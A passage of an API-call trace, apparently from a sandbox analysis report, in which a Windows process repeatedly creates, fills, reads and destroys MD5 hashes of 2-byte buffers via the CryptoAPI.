	[0115.663] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.663] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.663] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.663] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.663] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.663] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.663] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.663] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.663] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.663] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.663] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.663] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.663] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.664] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.664] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.664] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.664] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.664] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.664] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.664] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.664] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.664] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.664] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.664] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.664] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.664] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.664] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.665] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.665] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.665] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.665] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.665] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.665] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.665] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.665] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.665] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.665] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.665] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.665] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.665] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.665] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.666] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.666] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.666] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.666] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.666] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.666] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.666] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.666] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.666] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.666] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.666] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.666] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.666] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.666] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.667] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.667] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.667] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.667] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.667] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.667] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.667] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.667] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.667] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.667] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.667] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.667] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.667] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.667] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.667] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.668] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.668] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.668] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.668] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.668] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.668] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.668] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.668] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.668] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.669] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.669] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.669] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.669] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.669] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.670] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.670] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.670] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.670] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.670] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.670] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.670] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.670] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.670] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.670] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.670] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.670] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.670] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.670] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.671] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.671] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.671] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.671] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.671] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.671] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.671] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.671] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.671] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.671] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.671] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.671] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.671] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.671] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.672] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.672] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.672] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.672] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.672] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.672] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.672] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.672] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.672] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.672] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.672] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.672] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.672] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.672] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.672] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.672] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.672] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.673] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.673] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.673] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.673] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.673] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.673] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.673] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.673] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.673] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.673] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.673] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.673] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.673] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.673] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.673] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.674] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.674] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.674] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.674] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.674] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.674] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.674] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.674] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.674] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.674] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.674] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.674] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.674] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.674] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.675] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.675] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.675] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.675] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.675] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.675] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.675] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.675] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.675] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.675] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.675] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.675] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.675] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.675] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.675] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.675] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.676] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.676] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.676] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.676] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.676] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.676] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.676] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.676] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.676] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.676] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.676] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.676] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.677] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.677] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.677] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.677] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.677] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.677] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.677] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.677] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.677] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.677] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.677] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.677] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.677] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.677] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.678] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.678] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.678] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.678] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.678] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.678] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.678] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.678] CryptDestroyHash (hHash=0x24d790) returned 1
